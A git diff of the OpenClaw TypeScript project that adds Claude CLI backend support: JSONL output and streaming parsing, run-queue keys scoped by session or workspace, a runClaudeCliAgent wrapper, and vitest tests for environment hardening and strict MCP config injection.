});
|
||||
});
|
||||
|
||||
it("preserves cache creation tokens instead of flattening them to zero", () => {
|
||||
it("preserves Claude cache creation tokens instead of flattening them to zero", () => {
|
||||
const result = parseCliJsonl(
|
||||
[
|
||||
JSON.stringify({ type: "init", session_id: "session-cache-123" }),
|
||||
@@ -174,11 +174,11 @@ describe("parseCliJsonl", () => {
|
||||
}),
|
||||
].join("\n"),
|
||||
{
|
||||
command: "codex",
|
||||
command: "claude",
|
||||
output: "jsonl",
|
||||
sessionIdFields: ["session_id"],
|
||||
},
|
||||
"codex-cli",
|
||||
"claude-cli",
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
@@ -194,15 +194,50 @@ describe("parseCliJsonl", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("preserves Claude session metadata even when the final result text is empty", () => {
|
||||
const result = parseCliJsonl(
|
||||
[
|
||||
JSON.stringify({ type: "init", session_id: "session-456" }),
|
||||
JSON.stringify({
|
||||
type: "result",
|
||||
session_id: "session-456",
|
||||
result: " ",
|
||||
usage: {
|
||||
input_tokens: 18,
|
||||
output_tokens: 0,
|
||||
},
|
||||
}),
|
||||
].join("\n"),
|
||||
{
|
||||
command: "claude",
|
||||
output: "jsonl",
|
||||
sessionIdFields: ["session_id"],
|
||||
},
|
||||
"claude-cli",
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
text: "",
|
||||
sessionId: "session-456",
|
||||
usage: {
|
||||
input: 18,
|
||||
output: undefined,
|
||||
cacheRead: undefined,
|
||||
cacheWrite: undefined,
|
||||
total: undefined,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("parses multiple JSON objects embedded on the same line", () => {
|
||||
const result = parseCliJsonl(
|
||||
'{"type":"init","session_id":"session-999"} {"type":"result","session_id":"session-999","result":"done"}',
|
||||
{
|
||||
command: "codex",
|
||||
command: "claude",
|
||||
output: "jsonl",
|
||||
sessionIdFields: ["session_id"],
|
||||
},
|
||||
"codex-cli",
|
||||
"claude-cli",
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { CliBackendConfig } from "../config/types.js";
|
||||
import { isClaudeCliProvider } from "../plugin-sdk/anthropic-cli.js";
|
||||
import { isRecord } from "../utils.js";
|
||||
|
||||
type CliUsage = {
|
||||
@@ -224,6 +225,63 @@ export function parseCliJson(raw: string, backend: CliBackendConfig): CliOutput
|
||||
return { text, sessionId, usage };
|
||||
}
|
||||
|
||||
function parseClaudeCliJsonlResult(params: {
|
||||
providerId: string;
|
||||
parsed: Record<string, unknown>;
|
||||
sessionId?: string;
|
||||
usage?: CliUsage;
|
||||
}): CliOutput | null {
|
||||
if (!isClaudeCliProvider(params.providerId)) {
|
||||
return null;
|
||||
}
|
||||
if (
|
||||
typeof params.parsed.type === "string" &&
|
||||
params.parsed.type === "result" &&
|
||||
typeof params.parsed.result === "string"
|
||||
) {
|
||||
const resultText = params.parsed.result.trim();
|
||||
if (resultText) {
|
||||
return { text: resultText, sessionId: params.sessionId, usage: params.usage };
|
||||
}
|
||||
// Claude may finish with an empty result after tool-only work. Keep the
|
||||
// resolved session handle and usage instead of dropping them.
|
||||
return { text: "", sessionId: params.sessionId, usage: params.usage };
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function parseClaudeCliStreamingDelta(params: {
|
||||
providerId: string;
|
||||
parsed: Record<string, unknown>;
|
||||
textSoFar: string;
|
||||
sessionId?: string;
|
||||
usage?: CliUsage;
|
||||
}): CliStreamingDelta | null {
|
||||
if (!isClaudeCliProvider(params.providerId)) {
|
||||
return null;
|
||||
}
|
||||
if (params.parsed.type !== "stream_event" || !isRecord(params.parsed.event)) {
|
||||
return null;
|
||||
}
|
||||
const event = params.parsed.event;
|
||||
if (event.type !== "content_block_delta" || !isRecord(event.delta)) {
|
||||
return null;
|
||||
}
|
||||
const delta = event.delta;
|
||||
if (delta.type !== "text_delta" || typeof delta.text !== "string") {
|
||||
return null;
|
||||
}
|
||||
if (!delta.text) {
|
||||
return null;
|
||||
}
|
||||
return {
|
||||
text: `${params.textSoFar}${delta.text}`,
|
||||
delta: delta.text,
|
||||
sessionId: params.sessionId,
|
||||
usage: params.usage,
|
||||
};
|
||||
}
|
||||
|
||||
export function createCliJsonlStreamingParser(params: {
|
||||
backend: CliBackendConfig;
|
||||
providerId: string;
|
||||
@@ -243,27 +301,18 @@ export function createCliJsonlStreamingParser(params: {
|
||||
usage = toCliUsage(parsed.usage) ?? usage;
|
||||
}
|
||||
|
||||
const nextText =
|
||||
collectCliText(parsed.message) ||
|
||||
collectCliText(parsed.content) ||
|
||||
collectCliText(parsed.result) ||
|
||||
collectCliText(parsed.response);
|
||||
if (!nextText) {
|
||||
return;
|
||||
}
|
||||
const deltaText = nextText.startsWith(assistantText)
|
||||
? nextText.slice(assistantText.length)
|
||||
: nextText;
|
||||
if (!deltaText) {
|
||||
return;
|
||||
}
|
||||
assistantText = nextText;
|
||||
params.onAssistantDelta({
|
||||
text: assistantText,
|
||||
delta: deltaText,
|
||||
const delta = parseClaudeCliStreamingDelta({
|
||||
providerId: params.providerId,
|
||||
parsed,
|
||||
textSoFar: assistantText,
|
||||
sessionId,
|
||||
usage,
|
||||
});
|
||||
if (!delta) {
|
||||
return;
|
||||
}
|
||||
assistantText = delta.text;
|
||||
params.onAssistantDelta(delta);
|
||||
};
|
||||
|
||||
const flushLines = (flushPartial: boolean) => {
|
||||
@@ -311,7 +360,7 @@ export function createCliJsonlStreamingParser(params: {
|
||||
export function parseCliJsonl(
|
||||
raw: string,
|
||||
backend: CliBackendConfig,
|
||||
_providerId: string,
|
||||
providerId: string,
|
||||
): CliOutput | null {
|
||||
const lines = raw
|
||||
.split(/\r?\n/g)
|
||||
@@ -333,22 +382,23 @@ export function parseCliJsonl(
|
||||
}
|
||||
usage = readCliUsage(parsed) ?? usage;
|
||||
|
||||
const claudeResult = parseClaudeCliJsonlResult({
|
||||
providerId,
|
||||
parsed,
|
||||
sessionId,
|
||||
usage,
|
||||
});
|
||||
if (claudeResult) {
|
||||
return claudeResult;
|
||||
}
|
||||
|
||||
const item = isRecord(parsed.item) ? parsed.item : null;
|
||||
if (item && typeof item.text === "string") {
|
||||
const type = typeof item.type === "string" ? item.type.toLowerCase() : "";
|
||||
if (!type || type.includes("message")) {
|
||||
texts.push(item.text);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
const nextText =
|
||||
collectCliText(parsed.message) ||
|
||||
collectCliText(parsed.content) ||
|
||||
collectCliText(parsed.result) ||
|
||||
collectCliText(parsed.response);
|
||||
if (nextText) {
|
||||
texts.push(nextText);
|
||||
}
|
||||
}
|
||||
}
|
||||
const text = texts.join("\n").trim();
|
||||
|
||||
@@ -3,8 +3,6 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { createEmptyPluginRegistry } from "../plugins/registry.js";
|
||||
import { setActivePluginRegistry } from "../plugins/runtime.js";
|
||||
import { captureEnv } from "../test-utils/env.js";
|
||||
import {
|
||||
writeBundleProbeMcpServer,
|
||||
@@ -30,7 +28,7 @@ const E2E_TIMEOUT_MS = 40_000;
|
||||
|
||||
describe("runCliAgent bundle MCP e2e", () => {
|
||||
it(
|
||||
"routes enabled bundle MCP config into a registered CLI backend and executes the tool",
|
||||
"routes enabled bundle MCP config into the claude-cli backend and executes the tool",
|
||||
{ timeout: E2E_TIMEOUT_MS },
|
||||
async () => {
|
||||
const { runCliAgent } = await import("./cli-runner.js");
|
||||
@@ -44,27 +42,6 @@ describe("runCliAgent bundle MCP e2e", () => {
|
||||
const serverScriptPath = path.join(tempHome, "mcp", "bundle-probe.mjs");
|
||||
const fakeClaudePath = path.join(binDir, "fake-claude.mjs");
|
||||
const pluginRoot = path.join(tempHome, ".openclaw", "extensions", "bundle-probe");
|
||||
const registry = createEmptyPluginRegistry();
|
||||
registry.cliBackends = [
|
||||
{
|
||||
pluginId: "bundle-cli-test",
|
||||
source: "test",
|
||||
backend: {
|
||||
id: "bundle-cli",
|
||||
bundleMcp: true,
|
||||
config: {
|
||||
command: "node",
|
||||
args: [fakeClaudePath],
|
||||
output: "jsonl",
|
||||
input: "arg",
|
||||
sessionArg: "--session-id",
|
||||
sessionIdFields: ["session_id"],
|
||||
clearEnv: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
];
|
||||
setActivePluginRegistry(registry);
|
||||
await fs.mkdir(workspaceDir, { recursive: true });
|
||||
await writeBundleProbeMcpServer(serverScriptPath);
|
||||
await writeFakeClaudeCli(fakeClaudePath);
|
||||
@@ -74,6 +51,13 @@ describe("runCliAgent bundle MCP e2e", () => {
|
||||
agents: {
|
||||
defaults: {
|
||||
workspace: workspaceDir,
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "node",
|
||||
args: [fakeClaudePath],
|
||||
clearEnv: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
@@ -90,7 +74,7 @@ describe("runCliAgent bundle MCP e2e", () => {
|
||||
workspaceDir,
|
||||
config,
|
||||
prompt: "Use your configured MCP tools and report the bundle probe text.",
|
||||
provider: "bundle-cli",
|
||||
provider: "claude-cli",
|
||||
model: "test-bundle",
|
||||
timeoutMs: 10_000,
|
||||
runId: "bundle-mcp-e2e",
|
||||
|
||||
@@ -4,7 +4,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { resolvePreferredOpenClawTmpDir } from "../infra/tmp-openclaw-dir.js";
|
||||
import { MAX_IMAGE_BYTES } from "../media/constants.js";
|
||||
import {
|
||||
buildSystemPrompt,
|
||||
buildCliArgs,
|
||||
loadPromptRefImages,
|
||||
resolveCliRunQueueKey,
|
||||
@@ -143,21 +142,6 @@ describe("buildCliArgs", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildSystemPrompt", () => {
|
||||
it("keeps prompts unchanged across CLI backends", () => {
|
||||
const prompt = buildSystemPrompt({
|
||||
workspaceDir: "/tmp/openclaw",
|
||||
modelDisplay: "gpt-5.4",
|
||||
tools: [],
|
||||
backendId: "codex-cli",
|
||||
});
|
||||
|
||||
expect(prompt).toContain("You are a personal assistant running inside OpenClaw.");
|
||||
expect(prompt).toContain("## OpenClaw CLI Quick Reference");
|
||||
expect(prompt).toContain("OpenClaw docs:");
|
||||
});
|
||||
});
|
||||
|
||||
describe("writeCliImages", () => {
|
||||
it("uses stable hashed file paths so repeated image hydration reuses the same path", async () => {
|
||||
const image: ImageContent = {
|
||||
@@ -198,12 +182,35 @@ describe("writeCliImages", () => {
|
||||
});
|
||||
|
||||
describe("resolveCliRunQueueKey", () => {
|
||||
it("keeps serialized runs on the provider lane", () => {
|
||||
it("scopes Claude CLI serialization to the workspace for fresh runs", () => {
|
||||
expect(
|
||||
resolveCliRunQueueKey({
|
||||
backendId: "claude-cli",
|
||||
serialize: true,
|
||||
runId: "run-1",
|
||||
workspaceDir: "/tmp/project-a",
|
||||
}),
|
||||
).toBe("claude-cli:workspace:/tmp/project-a");
|
||||
});
|
||||
|
||||
it("scopes Claude CLI serialization to the resumed CLI session id", () => {
|
||||
expect(
|
||||
resolveCliRunQueueKey({
|
||||
backendId: "claude-cli",
|
||||
serialize: true,
|
||||
runId: "run-2",
|
||||
workspaceDir: "/tmp/project-a",
|
||||
cliSessionId: "claude-session-123",
|
||||
}),
|
||||
).toBe("claude-cli:session:claude-session-123");
|
||||
});
|
||||
|
||||
it("keeps non-Claude backends on the provider lane when serialized", () => {
|
||||
expect(
|
||||
resolveCliRunQueueKey({
|
||||
backendId: "codex-cli",
|
||||
serialize: true,
|
||||
runId: "run-1",
|
||||
runId: "run-3",
|
||||
workspaceDir: "/tmp/project-a",
|
||||
cliSessionId: "thread-123",
|
||||
}),
|
||||
@@ -213,11 +220,11 @@ describe("resolveCliRunQueueKey", () => {
|
||||
it("disables serialization when serialize=false", () => {
|
||||
expect(
|
||||
resolveCliRunQueueKey({
|
||||
backendId: "codex-cli",
|
||||
backendId: "claude-cli",
|
||||
serialize: false,
|
||||
runId: "run-2",
|
||||
runId: "run-4",
|
||||
workspaceDir: "/tmp/project-a",
|
||||
}),
|
||||
).toBe("codex-cli:run-2");
|
||||
).toBe("claude-cli:run-4");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -47,8 +47,8 @@ describe("runCliAgent spawn path", () => {
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "Run: node script.mjs",
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "sonnet",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-no-tools-disabled",
|
||||
extraSystemPrompt: "You are a helpful assistant.",
|
||||
@@ -60,7 +60,7 @@ describe("runCliAgent spawn path", () => {
|
||||
expect(allArgs).toContain("You are a helpful assistant.");
|
||||
});
|
||||
|
||||
it("pipes prompts over stdin when the backend requests stdin mode", async () => {
|
||||
it("pipes Claude prompts over stdin instead of argv", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
createManagedRun({
|
||||
@@ -79,23 +79,11 @@ describe("runCliAgent spawn path", () => {
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
config: {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"custom-cli": {
|
||||
command: "custom-cli",
|
||||
input: "stdin",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig,
|
||||
prompt: "Explain this diff",
|
||||
provider: "custom-cli",
|
||||
model: "default",
|
||||
provider: "claude-cli",
|
||||
model: "sonnet",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-stdin-custom",
|
||||
runId: "run-stdin-claude",
|
||||
});
|
||||
|
||||
const input = supervisorSpawnMock.mock.calls[0]?.[0] as {
|
||||
@@ -106,6 +94,57 @@ describe("runCliAgent spawn path", () => {
|
||||
expect(input.argv).not.toContain("Explain this diff");
|
||||
});
|
||||
|
||||
it("injects a strict empty MCP config for bundle-MCP-enabled Claude CLI runs", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
createManagedRun({
|
||||
reason: "exit",
|
||||
exitCode: 0,
|
||||
exitSignal: null,
|
||||
durationMs: 50,
|
||||
stdout: JSON.stringify({
|
||||
session_id: "session-123",
|
||||
message: "ok",
|
||||
}),
|
||||
stderr: "",
|
||||
timedOut: false,
|
||||
noOutputTimedOut: false,
|
||||
}),
|
||||
);
|
||||
|
||||
await runCliAgent({
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
config: {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "node",
|
||||
args: ["/tmp/fake-claude.mjs"],
|
||||
clearEnv: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig,
|
||||
prompt: "hi",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-bundle-mcp-empty",
|
||||
});
|
||||
|
||||
const input = supervisorSpawnMock.mock.calls[0]?.[0] as { argv?: string[] };
|
||||
expect(input.argv?.[0]).toBe("node");
|
||||
expect(input.argv).toContain("/tmp/fake-claude.mjs");
|
||||
expect(input.argv).toContain("--strict-mcp-config");
|
||||
const configFlagIndex = input.argv?.indexOf("--mcp-config") ?? -1;
|
||||
expect(configFlagIndex).toBeGreaterThanOrEqual(0);
|
||||
expect(input.argv?.[configFlagIndex + 1]).toMatch(/^\/.+\/mcp\.json$/);
|
||||
});
|
||||
|
||||
it("runs CLI through supervisor and returns payload", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
@@ -214,7 +253,7 @@ describe("runCliAgent spawn path", () => {
|
||||
expect(cancel).toHaveBeenCalledWith("manual-cancel");
|
||||
});
|
||||
|
||||
it("streams CLI text deltas from JSONL stdout", async () => {
|
||||
it("streams Claude text deltas from stream-json stdout", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
const agentEvents: Array<{ stream: string; text?: string; delta?: string }> = [];
|
||||
const stop = onAgentEvent((evt) => {
|
||||
@@ -274,10 +313,10 @@ describe("runCliAgent spawn path", () => {
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "hi",
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "sonnet",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-cli-stream-json",
|
||||
runId: "run-claude-stream-json",
|
||||
});
|
||||
|
||||
expect(result.payloads?.[0]?.text).toBe("Hello world");
|
||||
@@ -363,6 +402,66 @@ describe("runCliAgent spawn path", () => {
|
||||
expect(input.env?.SAFE_OVERRIDE).toBe("from-override");
|
||||
});
|
||||
|
||||
it("clears claude-cli provider-routing, auth, and telemetry env while keeping host-managed hardening", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
vi.stubEnv("ANTHROPIC_BASE_URL", "https://proxy.example.com/v1");
|
||||
vi.stubEnv("CLAUDE_CODE_USE_BEDROCK", "1");
|
||||
vi.stubEnv("ANTHROPIC_AUTH_TOKEN", "env-auth-token");
|
||||
vi.stubEnv("CLAUDE_CODE_OAUTH_TOKEN", "env-oauth-token");
|
||||
vi.stubEnv("CLAUDE_CODE_REMOTE", "1");
|
||||
vi.stubEnv("ANTHROPIC_UNIX_SOCKET", "/tmp/anthropic.sock");
|
||||
vi.stubEnv("OTEL_LOGS_EXPORTER", "none");
|
||||
vi.stubEnv("OTEL_METRICS_EXPORTER", "none");
|
||||
vi.stubEnv("OTEL_TRACES_EXPORTER", "none");
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_PROTOCOL", "none");
|
||||
vi.stubEnv("OTEL_SDK_DISABLED", "true");
|
||||
mockSuccessfulCliRun();
|
||||
|
||||
await runCliAgent({
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
config: {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
env: {
|
||||
SAFE_KEEP: "ok",
|
||||
ANTHROPIC_BASE_URL: "https://override.example.com/v1",
|
||||
CLAUDE_CODE_OAUTH_TOKEN: "override-oauth-token",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig,
|
||||
prompt: "hi",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-claude-env-hardened",
|
||||
});
|
||||
|
||||
const input = supervisorSpawnMock.mock.calls[0]?.[0] as {
|
||||
env?: Record<string, string | undefined>;
|
||||
};
|
||||
expect(input.env?.SAFE_KEEP).toBe("ok");
|
||||
expect(input.env?.CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST).toBe("1");
|
||||
expect(input.env?.ANTHROPIC_BASE_URL).toBeUndefined();
|
||||
expect(input.env?.CLAUDE_CODE_USE_BEDROCK).toBeUndefined();
|
||||
expect(input.env?.ANTHROPIC_AUTH_TOKEN).toBeUndefined();
|
||||
expect(input.env?.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
|
||||
expect(input.env?.CLAUDE_CODE_REMOTE).toBeUndefined();
|
||||
expect(input.env?.ANTHROPIC_UNIX_SOCKET).toBeUndefined();
|
||||
expect(input.env?.OTEL_LOGS_EXPORTER).toBeUndefined();
|
||||
expect(input.env?.OTEL_METRICS_EXPORTER).toBeUndefined();
|
||||
expect(input.env?.OTEL_TRACES_EXPORTER).toBeUndefined();
|
||||
expect(input.env?.OTEL_EXPORTER_OTLP_PROTOCOL).toBeUndefined();
|
||||
expect(input.env?.OTEL_SDK_DISABLED).toBeUndefined();
|
||||
});
|
||||
|
||||
it("prepends bootstrap warnings to the CLI prompt body", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
@@ -420,7 +519,7 @@ describe("runCliAgent spawn path", () => {
|
||||
expect(promptCarrier).toContain("hi");
|
||||
});
|
||||
|
||||
it("loads workspace bootstrap files into the configured CLI system prompt", async () => {
|
||||
it("loads workspace bootstrap files into the Claude CLI system prompt", async () => {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
const workspaceDir = await fs.mkdtemp(
|
||||
path.join(os.tmpdir(), "openclaw-cli-bootstrap-context-"),
|
||||
@@ -462,22 +561,9 @@ describe("runCliAgent spawn path", () => {
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir,
|
||||
config: {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"custom-cli": {
|
||||
command: "custom-cli",
|
||||
input: "stdin",
|
||||
systemPromptArg: "--append-system-prompt",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig,
|
||||
prompt: "BOOTSTRAP_CAPTURE_CHECK",
|
||||
provider: "custom-cli",
|
||||
model: "default",
|
||||
provider: "claude-cli",
|
||||
model: "sonnet",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-bootstrap-context",
|
||||
});
|
||||
@@ -581,21 +667,9 @@ describe("runCliAgent spawn path", () => {
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: tempDir,
|
||||
config: {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"custom-cli": {
|
||||
command: "custom-cli",
|
||||
input: "stdin",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig,
|
||||
prompt: `[media attached: ${sourceImage} (image/png)]\n\n<media:image>`,
|
||||
provider: "custom-cli",
|
||||
model: "default",
|
||||
provider: "claude-cli",
|
||||
model: "claude-opus-4-1",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-prompt-image-generic",
|
||||
});
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import fs from "node:fs/promises";
|
||||
import type { Mock } from "vitest";
|
||||
import { beforeEach, vi } from "vitest";
|
||||
import { buildAnthropicCliBackend } from "../../extensions/anthropic/test-api.js";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import type { requestHeartbeatNow } from "../infra/heartbeat-wake.js";
|
||||
import type { enqueueSystemEvent } from "../infra/system-events.js";
|
||||
@@ -221,6 +222,11 @@ export const EXISTING_CODEX_CONFIG = {
|
||||
export async function setupCliRunnerTestModule() {
|
||||
const registry = createEmptyPluginRegistry();
|
||||
registry.cliBackends = [
|
||||
{
|
||||
pluginId: "anthropic",
|
||||
backend: buildAnthropicCliBackend(),
|
||||
source: "test",
|
||||
},
|
||||
{
|
||||
pluginId: "openai",
|
||||
backend: buildOpenAICodexCliBackendFixture(),
|
||||
@@ -243,6 +249,15 @@ export async function setupCliRunnerTestModule() {
|
||||
return (await import("./cli-runner.js")).runCliAgent;
|
||||
}
|
||||
|
||||
export async function setupClaudeCliRunnerTestModule() {
|
||||
const runCliAgent = await setupCliRunnerTestModule();
|
||||
return (params: Parameters<typeof import("./claude-cli-runner.js").runClaudeCliAgent>[0]) =>
|
||||
runCliAgent({
|
||||
...params,
|
||||
provider: params.provider ?? "claude-cli",
|
||||
});
|
||||
}
|
||||
|
||||
export function stubBootstrapContext(params: {
|
||||
bootstrapFiles: WorkspaceBootstrapFile[];
|
||||
contextFiles: EmbeddedContextFile[];
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
import type { ImageContent } from "@mariozechner/pi-ai";
|
||||
import type { ThinkLevel } from "../auto-reply/thinking.js";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { executePreparedCliRun } from "./cli-runner/execute.js";
|
||||
import { prepareCliRunContext } from "./cli-runner/prepare.js";
|
||||
import type { RunCliAgentParams } from "./cli-runner/types.js";
|
||||
@@ -87,3 +90,41 @@ export async function runCliAgent(params: RunCliAgentParams): Promise<EmbeddedPi
|
||||
await context.preparedBackend.cleanup?.();
|
||||
}
|
||||
}
|
||||
|
||||
export async function runClaudeCliAgent(params: {
|
||||
sessionId: string;
|
||||
sessionKey?: string;
|
||||
agentId?: string;
|
||||
sessionFile: string;
|
||||
workspaceDir: string;
|
||||
config?: OpenClawConfig;
|
||||
prompt: string;
|
||||
provider?: string;
|
||||
model?: string;
|
||||
thinkLevel?: ThinkLevel;
|
||||
timeoutMs: number;
|
||||
runId: string;
|
||||
extraSystemPrompt?: string;
|
||||
ownerNumbers?: string[];
|
||||
claudeSessionId?: string;
|
||||
images?: ImageContent[];
|
||||
}): Promise<EmbeddedPiRunResult> {
|
||||
return runCliAgent({
|
||||
sessionId: params.sessionId,
|
||||
sessionKey: params.sessionKey,
|
||||
agentId: params.agentId,
|
||||
sessionFile: params.sessionFile,
|
||||
workspaceDir: params.workspaceDir,
|
||||
config: params.config,
|
||||
prompt: params.prompt,
|
||||
provider: params.provider ?? "claude-cli",
|
||||
model: params.model ?? "opus",
|
||||
thinkLevel: params.thinkLevel,
|
||||
timeoutMs: params.timeoutMs,
|
||||
runId: params.runId,
|
||||
extraSystemPrompt: params.extraSystemPrompt,
|
||||
ownerNumbers: params.ownerNumbers,
|
||||
cliSessionId: params.claudeSessionId,
|
||||
images: params.images,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -104,8 +104,9 @@ export async function prepareCliBundleMcpConfig(params: {
|
||||
mergedConfig = applyMergePatch(mergedConfig, params.additionalConfig) as BundleMcpConfig;
|
||||
}
|
||||
|
||||
// Always pass an explicit strict MCP config for background CLI runs so they
|
||||
// do not inherit ambient user/global MCP servers (for example Playwright).
|
||||
// Always pass an explicit strict MCP config for background claude-cli runs.
|
||||
// Otherwise Claude may inherit ambient user/global MCP servers (for example
|
||||
// Playwright) and spawn unexpected background processes.
|
||||
const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cli-mcp-"));
|
||||
const mcpConfigPath = path.join(tempDir, "mcp.json");
|
||||
const serializedConfig = `${JSON.stringify(mergedConfig, null, 2)}\n`;
|
||||
|
||||
@@ -23,7 +23,11 @@ import {
|
||||
resolveSystemPromptUsage,
|
||||
writeCliImages,
|
||||
} from "./helpers.js";
|
||||
import { cliBackendLog, CLI_BACKEND_LOG_OUTPUT_ENV } from "./log.js";
|
||||
import {
|
||||
cliBackendLog,
|
||||
CLI_BACKEND_LOG_OUTPUT_ENV,
|
||||
LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV,
|
||||
} from "./log.js";
|
||||
import type { PreparedCliRunContext } from "./types.js";
|
||||
|
||||
const executeDeps = {
|
||||
@@ -158,7 +162,9 @@ export async function executePreparedCliRun(
|
||||
cliBackendLog.info(
|
||||
`cli exec: provider=${params.provider} model=${context.normalizedModel} promptChars=${params.prompt.length}`,
|
||||
);
|
||||
const logOutputText = isTruthyEnvValue(process.env[CLI_BACKEND_LOG_OUTPUT_ENV]);
|
||||
const logOutputText =
|
||||
isTruthyEnvValue(process.env[CLI_BACKEND_LOG_OUTPUT_ENV]) ||
|
||||
isTruthyEnvValue(process.env[LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV]);
|
||||
if (logOutputText) {
|
||||
const logArgs = buildCliLogArgs({
|
||||
args,
|
||||
|
||||
@@ -11,6 +11,7 @@ import type { CliBackendConfig } from "../../config/types.js";
|
||||
import { resolvePreferredOpenClawTmpDir } from "../../infra/tmp-openclaw-dir.js";
|
||||
import { MAX_IMAGE_BYTES } from "../../media/constants.js";
|
||||
import { extensionForMime } from "../../media/mime.js";
|
||||
import { isClaudeCliProvider } from "../../plugin-sdk/anthropic-cli.js";
|
||||
import { buildTtsSystemPromptHint } from "../../tts/tts.js";
|
||||
import { buildModelAliasLines } from "../model-alias-lines.js";
|
||||
import { resolveDefaultModelForAgent } from "../model-selection.js";
|
||||
@@ -40,6 +41,16 @@ export function resolveCliRunQueueKey(params: {
|
||||
if (params.serialize === false) {
|
||||
return `${params.backendId}:${params.runId}`;
|
||||
}
|
||||
if (isClaudeCliProvider(params.backendId)) {
|
||||
const sessionId = params.cliSessionId?.trim();
|
||||
if (sessionId) {
|
||||
return `${params.backendId}:session:${sessionId}`;
|
||||
}
|
||||
const workspaceDir = params.workspaceDir.trim();
|
||||
if (workspaceDir) {
|
||||
return `${params.backendId}:workspace:${workspaceDir}`;
|
||||
}
|
||||
}
|
||||
return params.backendId;
|
||||
}
|
||||
|
||||
@@ -55,7 +66,6 @@ export function buildSystemPrompt(params: {
|
||||
contextFiles?: EmbeddedContextFile[];
|
||||
modelDisplay: string;
|
||||
agentId?: string;
|
||||
backendId?: string;
|
||||
}) {
|
||||
const defaultModelRef = resolveDefaultModelForAgent({
|
||||
cfg: params.config ?? {},
|
||||
@@ -79,7 +89,7 @@ export function buildSystemPrompt(params: {
|
||||
});
|
||||
const ttsHint = params.config ? buildTtsSystemPromptHint(params.config) : undefined;
|
||||
const ownerDisplay = resolveOwnerDisplaySetting(params.config);
|
||||
const prompt = buildAgentSystemPrompt({
|
||||
return buildAgentSystemPrompt({
|
||||
workspaceDir: params.workspaceDir,
|
||||
